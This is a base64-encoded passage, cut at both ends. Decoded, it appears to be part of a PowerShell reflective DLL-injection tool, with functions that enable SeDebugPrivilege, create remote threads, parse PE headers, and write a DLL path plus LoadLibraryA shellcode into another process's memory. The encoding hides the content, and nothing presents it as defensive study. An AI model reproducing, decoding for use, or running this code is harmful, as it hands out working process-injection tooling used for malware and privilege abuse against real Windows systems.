LCAkUHJvY2VkdXJlKSkKCX0KCQoJCglGdW5jdGlvbiBFbmFibGUtU2VEZWJ1Z1ByaXZpbGVnZQoJ
ewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSld
CgkJW1N5c3RlbS5PYmplY3RdCgkJJFdpbjMyRnVuY3Rpb25zLAoJCQoJCVtQYXJhbWV0ZXIoUG9z
aXRpb24gPSAyLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N5c3RlbS5PYmplY3RdCgkJJFdpbjMy
VHlwZXMsCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDMsIE1hbmRhdG9yeSA9ICR0cnVlKV0K
CQlbU3lzdGVtLk9iamVjdF0KCQkkV2luMzJDb25zdGFudHMKCQkpCgkJCgkJW0ludFB0cl0kVGhy
ZWFkSGFuZGxlID0gJFdpbjMyRnVuY3Rpb25zLkdldEN1cnJlbnRUaHJlYWQuSW52b2tlKCkKCQlp
ZiAoJFRocmVhZEhhbmRsZSAtZXEgW0ludFB0cl06Olplcm8pCgkJewoJCQlUaHJvdyAiVW5hYmxl
IHRvIGdldCB0aGUgaGFuZGxlIHRvIHRoZSBjdXJyZW50IHRocmVhZCIKCQl9CgkJCgkJW0ludFB0
cl0kVGhyZWFkVG9rZW4gPSBbSW50UHRyXTo6WmVybwoJCVtCb29sXSRSZXN1bHQgPSAkV2luMzJG
dW5jdGlvbnMuT3BlblRocmVhZFRva2VuLkludm9rZSgkVGhyZWFkSGFuZGxlLCAkV2luMzJDb25z
dGFudHMuVE9LRU5fUVVFUlkgLWJvciAkV2luMzJDb25zdGFudHMuVE9LRU5fQURKVVNUX1BSSVZJ
TEVHRVMsICRmYWxzZSwgW1JlZl0kVGhyZWFkVG9rZW4pCgkJaWYgKCRSZXN1bHQgLWVxICRmYWxz
ZSkKCQl7CgkJCSRFcnJvckNvZGUgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1h
cnNoYWxdOjpHZXRMYXN0V2luMzJFcnJvcigpCgkJCWlmICgkRXJyb3JDb2RlIC1lcSAkV2luMzJD
b25zdGFudHMuRVJST1JfTk9fVE9LRU4pCgkJCXsKCQkJCSRSZXN1bHQgPSAkV2luMzJGdW5jdGlv
bnMuSW1wZXJzb25hdGVTZWxmLkludm9rZSgzKQoJCQkJaWYgKCRSZXN1bHQgLWVxICRmYWxzZSkK
CQkJCXsKCQkJCQlUaHJvdyAiVW5hYmxlIHRvIGltcGVyc29uYXRlIHNlbGYiCgkJCQl9CgkJCQkK
CQkJCSRSZXN1bHQgPSAkV2luMzJGdW5jdGlvbnMuT3BlblRocmVhZFRva2VuLkludm9rZSgkVGhy
ZWFkSGFuZGxlLCAkV2luMzJDb25zdGFudHMuVE9LRU5fUVVFUlkgLWJvciAkV2luMzJDb25zdGFu
dHMuVE9LRU5fQURKVVNUX1BSSVZJTEVHRVMsICRmYWxzZSwgW1JlZl0kVGhyZWFkVG9rZW4pCgkJ
CQlpZiAoJFJlc3VsdCAtZXEgJGZhbHNlKQoJCQkJewoJCQkJCVRocm93ICJVbmFibGUgdG8gT3Bl
blRocmVhZFRva2VuLiIKCQkJCX0KCQkJfQoJCQllbHNlCgkJCXsKCQkJCVRocm93ICJVbmFibGUg
dG8gT3BlblRocmVhZFRva2VuLiBFcnJvciBjb2RlOiAkRXJyb3JDb2RlIgoJCQl9CgkJfQoJCQoJ
CVtJbnRQdHJdJFBMdWlkID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFs
XTo6QWxsb2NIR2xvYmFsKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06
OlNpemVPZihbVHlwZV0kV2luMzJUeXBlcy5MVUlEKSkKCQkkUmVzdWx0ID0gJFdpbjMyRnVuY3Rp
b25zLkxvb2t1cFByaXZpbGVnZVZhbHVlLkludm9rZSgkbnVsbCwgIlNlRGVidWdQcml2aWxlZ2Ui
LCAkUEx1aWQpCgkJaWYgKCRSZXN1bHQgLWVxICRmYWxzZSkKCQl7CgkJCVRocm93ICJVbmFibGUg
dG8gY2FsbCBMb29rdXBQcml2aWxlZ2VWYWx1ZSIKCQl9CgoJCVtVSW50MzJdJFRva2VuUHJpdlNp
emUgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5
cGVdJFdpbjMyVHlwZXMuVE9LRU5fUFJJVklMRUdFUykKCQlbSW50UHRyXSRUb2tlblByaXZpbGVn
ZXNNZW0gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpBbGxvY0hH
bG9iYWwoJFRva2VuUHJpdlNpemUpCgkJJFRva2VuUHJpdmlsZWdlcyA9IFtTeXN0ZW0uUnVudGlt
ZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRUb2tlblByaXZpbGVn
ZXNNZW0sIFtUeXBlXSRXaW4zMlR5cGVzLlRPS0VOX1BSSVZJTEVHRVMpCgkJJFRva2VuUHJpdmls
ZWdlcy5Qcml2aWxlZ2VDb3VudCA9IDEKCQkkVG9rZW5Qcml2aWxlZ2VzLlByaXZpbGVnZXMuTHVp
ZCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0
dXJlKCRQTHVpZCwgW1R5cGVdJFdpbjMyVHlwZXMuTFVJRCkKCQkkVG9rZW5Qcml2aWxlZ2VzLlBy
aXZpbGVnZXMuQXR0cmlidXRlcyA9ICRXaW4zMkNvbnN0YW50cy5TRV9QUklWSUxFR0VfRU5BQkxF
RAoJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlN0cnVjdHVyZVRv
UHRyKCRUb2tlblByaXZpbGVnZXMsICRUb2tlblByaXZpbGVnZXNNZW0sICR0cnVlKQoKCQkkUmVz
dWx0ID0gJFdpbjMyRnVuY3Rpb25zLkFkanVzdFRva2VuUHJpdmlsZWdlcy5JbnZva2UoJFRocmVh
ZFRva2VuLCAkZmFsc2UsICRUb2tlblByaXZpbGVnZXNNZW0sICRUb2tlblByaXZTaXplLCBbSW50
UHRyXTo6WmVybywgW0ludFB0cl06Olplcm8pCgkJJEVycm9yQ29kZSA9IFtTeXN0ZW0uUnVudGlt
ZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldExhc3RXaW4zMkVycm9yKCkgI05lZWQgdGhp
cyB0byBnZXQgc3VjY2VzcyB2YWx1ZSBvciBmYWlsdXJlIHZhbHVlCgkJaWYgKCgkUmVzdWx0IC1l
cSAkZmFsc2UpIC1vciAoJEVycm9yQ29kZSAtbmUgMCkpCgkJewoKCQl9CgkJCgkJW1N5c3RlbS5S
dW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6RnJlZUhHbG9iYWwoJFRva2VuUHJpdmls
ZWdlc01lbSkKCX0KCQoJCglGdW5jdGlvbiBJbnZva2UtQ3JlYXRlUmVtb3RlVGhyZWFkCgl7CgkJ
UGFyYW0oCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDEsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlb
SW50UHRyXQoJCSRQcm9jZXNzSGFuZGxlLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAyLCBN
YW5kYXRvcnkgPSAkdHJ1ZSldCgkJW0ludFB0cl0KCQkkU3RhcnRBZGRyZXNzLAoJCQoJCVtQYXJh
bWV0ZXIoUG9zaXRpb24gPSAzLCBNYW5kYXRvcnkgPSAkZmFsc2UpXQoJCVtJbnRQdHJdCgkJJGZ1
bmMxMjQgPSBbSW50UHRyXTo6WmVybywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gNCwgTWFu
ZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRXaW4zMkZ1bmN0aW9ucwoJCSkK
CQkKCQlbSW50UHRyXSRSZW1vdGVUaHJlYWRIYW5kbGUgPSBbSW50UHRyXTo6WmVybwoJCQoJCSRP
U1ZlcnNpb24gPSBbRW52aXJvbm1lbnRdOjpPU1ZlcnNpb24uVmVyc2lvbgoKCQlpZiAoKCRPU1Zl
cnNpb24gLWdlIChOZXctT2JqZWN0ICdWZXJzaW9uJyA2LDApKSAtYW5kICgkT1NWZXJzaW9uIC1s
dCAoTmV3LU9iamVjdCAnVmVyc2lvbicgNiwyKSkpCgkJewoJCQlXcml0ZS1WZXJib3NlICJXaW5k
b3dzIFZpc3RhLzcgZGV0ZWN0ZWQsIHVzaW5nIE50Q3JlYXRlVGhyZWFkRXguIEFkZHJlc3Mgb2Yg
dGhyZWFkOiAkU3RhcnRBZGRyZXNzIgoJCQkkUmV0VmFsPSAkV2luMzJGdW5jdGlvbnMuTnRDcmVh
dGVUaHJlYWRFeC5JbnZva2UoW1JlZl0kUmVtb3RlVGhyZWFkSGFuZGxlLCAweDFGRkZGRiwgW0lu
dFB0cl06Olplcm8sICRQcm9jZXNzSGFuZGxlLCAkU3RhcnRBZGRyZXNzLCAkZnVuYzEyNCwgJGZh
bHNlLCAwLCAweGZmZmYsIDB4ZmZmZiwgW0ludFB0cl06Olplcm8pCgkJCSRMYXN0RXJyb3IgPSBb
U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXRMYXN0V2luMzJFcnJv
cigpCgkJCWlmICgkUmVtb3RlVGhyZWFkSGFuZGxlIC1lcSBbSW50UHRyXTo6WmVybykKCQkJewoJ
CQkJVGhyb3cgIkVycm9yIGluIE50Q3JlYXRlVGhyZWFkRXguIFJldHVybiB2YWx1ZTogJFJldFZh
bC4gTGFzdEVycm9yOiAkTGFzdEVycm9yIgoJCQl9CgkJfQoKCQllbHNlCgkJewoJCQlXcml0ZS1W
ZXJib3NlICJXaW5kb3dzIFhQLzggZGV0ZWN0ZWQsIHVzaW5nIENyZWF0ZVJlbW90ZVRocmVhZC4g
QWRkcmVzcyBvZiB0aHJlYWQ6ICRTdGFydEFkZHJlc3MiCgkJCSRSZW1vdGVUaHJlYWRIYW5kbGUg
PSAkV2luMzJGdW5jdGlvbnMuQ3JlYXRlUmVtb3RlVGhyZWFkLkludm9rZSgkUHJvY2Vzc0hhbmRs
ZSwgW0ludFB0cl06Olplcm8sIFtVSW50UHRyXVtVSW50NjRdMHhGRkZGLCAkU3RhcnRBZGRyZXNz
LCAkZnVuYzEyNCwgMCwgW0ludFB0cl06Olplcm8pCgkJfQoJCQoJCWlmICgkUmVtb3RlVGhyZWFk
SGFuZGxlIC1lcSBbSW50UHRyXTo6WmVybykKCQl7CgkJCVdyaXRlLVZlcmJvc2UgIkVycm9yIGNy
ZWF0aW5nIHJlbW90ZSB0aHJlYWQsIHRocmVhZCBoYW5kbGUgaXMgbnVsbCIKCQl9CgkJCgkJcmV0
dXJuICRSZW1vdGVUaHJlYWRIYW5kbGUKCX0KCgkKCglGdW5jdGlvbiBHZXQtSW1hZ2VOdEhlYWRl
cnMKCXsKCQlQYXJhbSgKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRy
dWUpXQoJCVtJbnRQdHJdCgkJJFBFSGFuZGxlLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAx
LCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N5c3RlbS5PYmplY3RdCgkJJFdpbjMyVHlwZXMKCQkp
CgkJCgkJJE50SGVhZGVyc0luZm8gPSBOZXctT2JqZWN0IFN5c3RlbS5PYmplY3QKCQkKCgkJJGRv
c0hlYWRlciA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRv
U3RydWN0dXJlKCRQRUhhbmRsZSwgW1R5cGVdJFdpbjMyVHlwZXMuSU1BR0VfRE9TX0hFQURFUikK
CgoJCVtJbnRQdHJdJE50SGVhZGVyc1B0ciA9IFtJbnRQdHJdKEFkZC1TaWduZWRJbnRBc1Vuc2ln
bmVkIChbSW50NjRdJFBFSGFuZGxlKSAoW0ludDY0XVtVSW50NjRdJGRvc0hlYWRlci5lX2xmYW5l
dykpCgkJJE50SGVhZGVyc0luZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0
eSAtTmFtZSBOdEhlYWRlcnNQdHIgLVZhbHVlICROdEhlYWRlcnNQdHIKCQkkaW1hZ2VOdEhlYWRl
cnM2NCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3Ry
dWN0dXJlKCROdEhlYWRlcnNQdHIsIFtUeXBlXSRXaW4zMlR5cGVzLklNQUdFX05UX0hFQURFUlM2
NCkKCQkKCgkgICAgaWYgKCRpbWFnZU50SGVhZGVyczY0LlNpZ25hdHVyZSAtbmUgMHgwMDAwNDU1
MCkKCSAgICB7CgkgICAgICAgIHRocm93ICJJbnZhbGlkIElNQUdFX05UX0hFQURFUiBzaWduYXR1
cmUuIgoJICAgIH0KCQkKCQlpZiAoJGltYWdlTnRIZWFkZXJzNjQuT3B0aW9uYWxIZWFkZXIuTWFn
aWMgLWVxICdJTUFHRV9OVF9PUFRJT05BTF9IRFI2NF9NQUdJQycpCgkJewoJCQkkTnRIZWFkZXJz
SW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIElNQUdFX05U
X0hFQURFUlMgLVZhbHVlICRpbWFnZU50SGVhZGVyczY0CgkJCSROdEhlYWRlcnNJbmZvIHwgQWRk
LU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEU2NEJpdCAtVmFsdWUgJHRy
dWUKCQl9CgkJZWxzZQoJCXsKCQkJJEltYWdlTnRIZWFkZXJzMzIgPSBbU3lzdGVtLlJ1bnRpbWUu
SW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkTnRIZWFkZXJzUHRyLCBb
VHlwZV0kV2luMzJUeXBlcy5JTUFHRV9OVF9IRUFERVJTMzIpCgkJCSROdEhlYWRlcnNJbmZvIHwg
QWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfTlRfSEVBREVS
UyAtVmFsdWUgJGltYWdlTnRIZWFkZXJzMzIKCQkJJE50SGVhZGVyc0luZm8gfCBBZGQtTWVtYmVy
IC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBQRTY0Qml0IC1WYWx1ZSAkZmFsc2UKCQl9
CgkJCgkJcmV0dXJuICROdEhlYWRlcnNJbmZvCgl9CgoKCglGdW5jdGlvbiBHZXQtUEVCYXNpY0lu
Zm8KCXsKCQlQYXJhbSgKCQlbUGFyYW1ldGVyKCBQb3NpdGlvbiA9IDAsIE1hbmRhdG9yeSA9ICR0
cnVlICldCgkJW0J5dGVbXV0KCQkkUEVCeXRlcywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0g
MSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRXaW4zMlR5cGVzCgkJ
KQoJCQoJCSRQRUluZm8gPSBOZXctT2JqZWN0IFN5c3RlbS5PYmplY3QKCQkKCgkJW0ludFB0cl0k
VW5tYW5hZ2VkUEVCeXRlcyA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hh
bF06OkFsbG9jSEdsb2JhbCgkUEVCeXRlcy5MZW5ndGgpCgkJW1N5c3RlbS5SdW50aW1lLkludGVy
b3BTZXJ2aWNlcy5NYXJzaGFsXTo6Q29weSgkUEVCeXRlcywgMCwgJFVubWFuYWdlZFBFQnl0ZXMs
ICRQRUJ5dGVzLkxlbmd0aCkgfCBPdXQtTnVsbAoJCQoKCQkkTnRIZWFkZXJzSW5mbyA9IEdldC1J
bWFnZU50SGVhZGVycyAtUEVIYW5kbGUgJFVubWFuYWdlZFBFQnl0ZXMgLVdpbjMyVHlwZXMgJFdp
bjMyVHlwZXMKCQkKCgkJJFBFSW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3Bl
cnR5IC1OYW1lICdQRTY0Qml0JyAtVmFsdWUgKCROdEhlYWRlcnNJbmZvLlBFNjRCaXQpCgkJJFBF
SW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICdPcmlnaW5h
bEltYWdlQmFzZScgLVZhbHVlICgkTnRIZWFkZXJzSW5mby5JTUFHRV9OVF9IRUFERVJTLk9wdGlv
bmFsSGVhZGVyLkltYWdlQmFzZSkKCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBO
b3RlUHJvcGVydHkgLU5hbWUgJ1NpemVPZkltYWdlJyAtVmFsdWUgKCROdEhlYWRlcnNJbmZvLklN
QUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuU2l6ZU9mSW1hZ2UpCgkJJFBFSW5mbyB8IEFk
ZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICdTaXplT2ZIZWFkZXJzJyAt
VmFsdWUgKCROdEhlYWRlcnNJbmZvLklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuU2l6
ZU9mSGVhZGVycykKCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVy
dHkgLU5hbWUgJ0RsbENoYXJhY3RlcmlzdGljcycgLVZhbHVlICgkTnRIZWFkZXJzSW5mby5JTUFH
RV9OVF9IRUFERVJTLk9wdGlvbmFsSGVhZGVyLkRsbENoYXJhY3RlcmlzdGljcykKCQkKCgkJW1N5
c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6RnJlZUhHbG9iYWwoJFVubWFu
YWdlZFBFQnl0ZXMpCgkJCgkJcmV0dXJuICRQRUluZm8KCX0KCgoKCglGdW5jdGlvbiBHZXQtUEVE
ZXRhaWxlZEluZm8KCXsKCQlQYXJhbSgKCQlbUGFyYW1ldGVyKCBQb3NpdGlvbiA9IDAsIE1hbmRh
dG9yeSA9ICR0cnVlKV0KCQlbSW50UHRyXQoJCSRQRUhhbmRsZSwKCQkKCQlbUGFyYW1ldGVyKFBv
c2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRXaW4z
MlR5cGVzLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAyLCBNYW5kYXRvcnkgPSAkdHJ1ZSld
CgkJW1N5c3RlbS5PYmplY3RdCgkJJFdpbjMyQ29uc3RhbnRzCgkJKQoJCQoJCWlmICgkUEVIYW5k
bGUgLWVxICRudWxsIC1vciAkUEVIYW5kbGUgLWVxIFtJbnRQdHJdOjpaZXJvKQoJCXsKCQkJdGhy
b3cgJ1BFSGFuZGxlIGlzIG51bGwgb3IgSW50UHRyLlplcm8nCgkJfQoJCQoJCSRQRUluZm8gPSBO
ZXctT2JqZWN0IFN5c3RlbS5PYmplY3QKCQkKCgkJJE50SGVhZGVyc0luZm8gPSBHZXQtSW1hZ2VO
dEhlYWRlcnMgLVBFSGFuZGxlICRQRUhhbmRsZSAtV2luMzJUeXBlcyAkV2luMzJUeXBlcwoJCQoK
CQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEVI
YW5kbGUgLVZhbHVlICRQRUhhbmRsZQoJCSRQRUluZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBl
IE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9OVF9IRUFERVJTIC1WYWx1ZSAoJE50SGVhZGVyc0lu
Zm8uSU1BR0VfTlRfSEVBREVSUykKCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBO
b3RlUHJvcGVydHkgLU5hbWUgTnRIZWFkZXJzUHRyIC1WYWx1ZSAoJE50SGVhZGVyc0luZm8uTnRI
ZWFkZXJzUHRyKQoJCSRQRUluZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0
eSAtTmFtZSBQRTY0Qml0IC1WYWx1ZSAoJE50SGVhZGVyc0luZm8uUEU2NEJpdCkKCQkkUEVJbmZv
IHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgJ1NpemVPZkltYWdl
JyAtVmFsdWUgKCROdEhlYWRlcnNJbmZvLklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIu
U2l6ZU9mSW1hZ2UpCgkJCgkJaWYgKCRQRUluZm8uUEU2NEJpdCAtZXEgJHRydWUpCgkJewoJCQlb
SW50UHRyXSRTZWN0aW9uSGVhZGVyUHRyID0gW0ludFB0cl0oQWRkLVNpZ25lZEludEFzVW5zaWdu
ZWQgKFtJbnQ2NF0kUEVJbmZvLk50SGVhZGVyc1B0cikgKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9w
U2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV0kV2luMzJUeXBlcy5JTUFHRV9OVF9IRUFE
RVJTNjQpKSkKCQkJJFBFSW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5
IC1OYW1lIFNlY3Rpb25IZWFkZXJQdHIgLVZhbHVlICRTZWN0aW9uSGVhZGVyUHRyCgkJfQoJCWVs
c2UKCQl7CgkJCVtJbnRQdHJdJFNlY3Rpb25IZWFkZXJQdHIgPSBbSW50UHRyXShBZGQtU2lnbmVk
SW50QXNVbnNpZ25lZCAoW0ludDY0XSRQRUluZm8uTnRIZWFkZXJzUHRyKSAoW1N5c3RlbS5SdW50
aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXSRXaW4zMlR5cGVzLklN
QUdFX05UX0hFQURFUlMzMikpKQoJCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBO
b3RlUHJvcGVydHkgLU5hbWUgU2VjdGlvbkhlYWRlclB0ciAtVmFsdWUgJFNlY3Rpb25IZWFkZXJQ
dHIKCQl9CgkJCgkJaWYgKCgkTnRIZWFkZXJzSW5mby5JTUFHRV9OVF9IRUFERVJTLkZpbGVIZWFk
ZXIuQ2hhcmFjdGVyaXN0aWNzIC1iYW5kICRXaW4zMkNvbnN0YW50cy5JTUFHRV9GSUxFX0RMTCkg
LWVxICRXaW4zMkNvbnN0YW50cy5JTUFHRV9GSUxFX0RMTCkKCQl7CgkJCSRQRUluZm8gfCBBZGQt
TWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBGaWxlVHlwZSAtVmFsdWUgJ0RM
TCcKCQl9CgkJZWxzZWlmICgoJE50SGVhZGVyc0luZm8uSU1BR0VfTlRfSEVBREVSUy5GaWxlSGVh
ZGVyLkNoYXJhY3RlcmlzdGljcyAtYmFuZCAkV2luMzJDb25zdGFudHMuSU1BR0VfRklMRV9FWEVD
VVRBQkxFX0lNQUdFKSAtZXEgJFdpbjMyQ29uc3RhbnRzLklNQUdFX0ZJTEVfRVhFQ1VUQUJMRV9J
TUFHRSkKCQl7CgkJCSRQRUluZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0
eSAtTmFtZSBGaWxlVHlwZSAtVmFsdWUgJ0VYRScKCQl9CgkJZWxzZQoJCXsKCQkJVGhyb3cgIlBF
IGZpbGUgaXMgbm90IGFuIEVYRSBvciBETEwiCgkJfQoJCQoJCXJldHVybiAkUEVJbmZvCgl9CgkK
CQoJRnVuY3Rpb24gSW1wb3J0LURsbEluUmVtb3RlUHJvY2VzcwoJewoJCVBhcmFtKAoJCVtQYXJh
bWV0ZXIoUG9zaXRpb249MCwgTWFuZGF0b3J5PSR0cnVlKV0KCQlbSW50UHRyXQoJCSRSZW1vdGVQ
cm9jSGFuZGxlLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb249MSwgTWFuZGF0b3J5PSR0cnVlKV0K
CQlbSW50UHRyXQoJCSRJbXBvcnREbGxQYXRoUHRyCgkJKQoJCQoJCSRQdHJTaXplID0gW1N5c3Rl
bS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXVtJbnRQdHJd
KQoJCQoJCSRJbXBvcnREbGxQYXRoID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5N
YXJzaGFsXTo6UHRyVG9TdHJpbmdBbnNpKCRJbXBvcnREbGxQYXRoUHRyKQoJCSREbGxQYXRoU2l6
ZSA9IFtVSW50UHRyXVtVSW50NjRdKFtVSW50NjRdJEltcG9ydERsbFBhdGguTGVuZ3RoICsgMSkK
CQkkUkltcG9ydERsbFBhdGhQdHIgPSAkV2luMzJGdW5jdGlvbnMuVmlydHVhbEFsbG9jRXguSW52
b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCBbSW50UHRyXTo6WmVybywgJERsbFBhdGhTaXplLCAkV2lu
MzJDb25zdGFudHMuTUVNX0NPTU1JVCAtYm9yICRXaW4zMkNvbnN0YW50cy5NRU1fUkVTRVJWRSwg
JFdpbjMyQ29uc3RhbnRzLlBBR0VfUkVBRFdSSVRFKQoJCWlmICgkUkltcG9ydERsbFBhdGhQdHIg
LWVxIFtJbnRQdHJdOjpaZXJvKQoJCXsKCQkJVGhyb3cgIlVuYWJsZSB0byBhbGxvY2F0ZSBtZW1v
cnkgaW4gdGhlIHJlbW90ZSBwcm9jZXNzIgoJCX0KCgkJW1VJbnRQdHJdJE51bUJ5dGVzV3JpdHRl
biA9IFtVSW50UHRyXTo6WmVybwoJCSRTdWNjZXNzID0gJFdpbjMyRnVuY3Rpb25zLldyaXRlUHJv
Y2Vzc01lbW9yeS5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsICRSSW1wb3J0RGxsUGF0aFB0ciwg
JEltcG9ydERsbFBhdGhQdHIsICREbGxQYXRoU2l6ZSwgW1JlZl0kTnVtQnl0ZXNXcml0dGVuKQoJ
CQoJCWlmICgkU3VjY2VzcyAtZXEgJGZhbHNlKQoJCXsKCQkJVGhyb3cgIlVuYWJsZSB0byB3cml0
ZSBETEwgcGF0aCB0byByZW1vdGUgcHJvY2VzcyBtZW1vcnkiCgkJfQoJCWlmICgkRGxsUGF0aFNp
emUgLW5lICROdW1CeXRlc1dyaXR0ZW4pCgkJewoJCQlUaHJvdyAiRGlkbid0IHdyaXRlIHRoZSBl
eHBlY3RlZCBhbW91bnQgb2YgYnl0ZXMgd2hlbiB3cml0aW5nIGEgRExMIHBhdGggdG8gbG9hZCB0
byB0aGUgcmVtb3RlIHByb2Nlc3MiCgkJfQoJCQoJCSRLZXJuZWwzMkhhbmRsZSA9ICRXaW4zMkZ1
bmN0aW9ucy5HZXRNb2R1bGVIYW5kbGUuSW52b2tlKCJrZXJuZWwzMi5kbGwiKQoJCSRMb2FkTGli
cmFyeUFBZGRyID0gJFdpbjMyRnVuY3Rpb25zLkdldFByb2NBZGRyZXNzLkludm9rZSgkS2VybmVs
MzJIYW5kbGUsICJMb2FkTGlicmFyeUEiKSAjS2VybmVsMzIgbG9hZGVkIHRvIHRoZSBzYW1lIGFk
ZHJlc3MgZm9yIGFsbCBwcm9jZXNzZXMKCQkKCQlbSW50UHRyXSREbGxBZGRyZXNzID0gW0ludFB0
cl06Olplcm8KCgoJCWlmICgkUEVJbmZvLlBFNjRCaXQgLWVxICR0cnVlKQoJCXsKCgkJCSRMb2Fk
TGlicmFyeUFSZXRNZW0gPSAkV2luMzJGdW5jdGlvbnMuVmlydHVhbEFsbG9jRXguSW52b2tlKCRS
ZW1vdGVQcm9jSGFuZGxlLCBbSW50UHRyXTo6WmVybywgJERsbFBhdGhTaXplLCAkV2luMzJDb25z
dGFudHMuTUVNX0NPTU1JVCAtYm9yICRXaW4zMkNvbnN0YW50cy5NRU1fUkVTRVJWRSwgJFdpbjMy
Q29uc3RhbnRzLlBBR0VfUkVBRFdSSVRFKQoJCQlpZiAoJExvYWRMaWJyYXJ5QVJldE1lbSAtZXEg
W0ludFB0cl06Olplcm8pCgkJCXsKCQkJCVRocm93ICJVbmFibGUgdG8gYWxsb2NhdGUgbWVtb3J5
IGluIHRoZSByZW1vdGUgcHJvY2VzcyBmb3IgdGhlIHJldHVybiB2YWx1ZSBvZiBMb2FkTGlicmFy
eUEiCgkJCX0KCQkJCgkJCQoKCQkJJExvYWRMaWJyYXJ5U0MxID0gQCgweDUzLCAweDQ4LCAweDg5
LCAweGUzLCAweDQ4LCAweDgzLCAweGVjLCAweDIwLCAweDY2LCAweDgzLCAweGU0LCAweGMwLCAw
eDQ4LCAweGI5KQoJCQkkTG9hZExpYnJhcnlTQzIgPSBAKDB4NDgsIDB4YmEpCgkJCSRMb2FkTGli
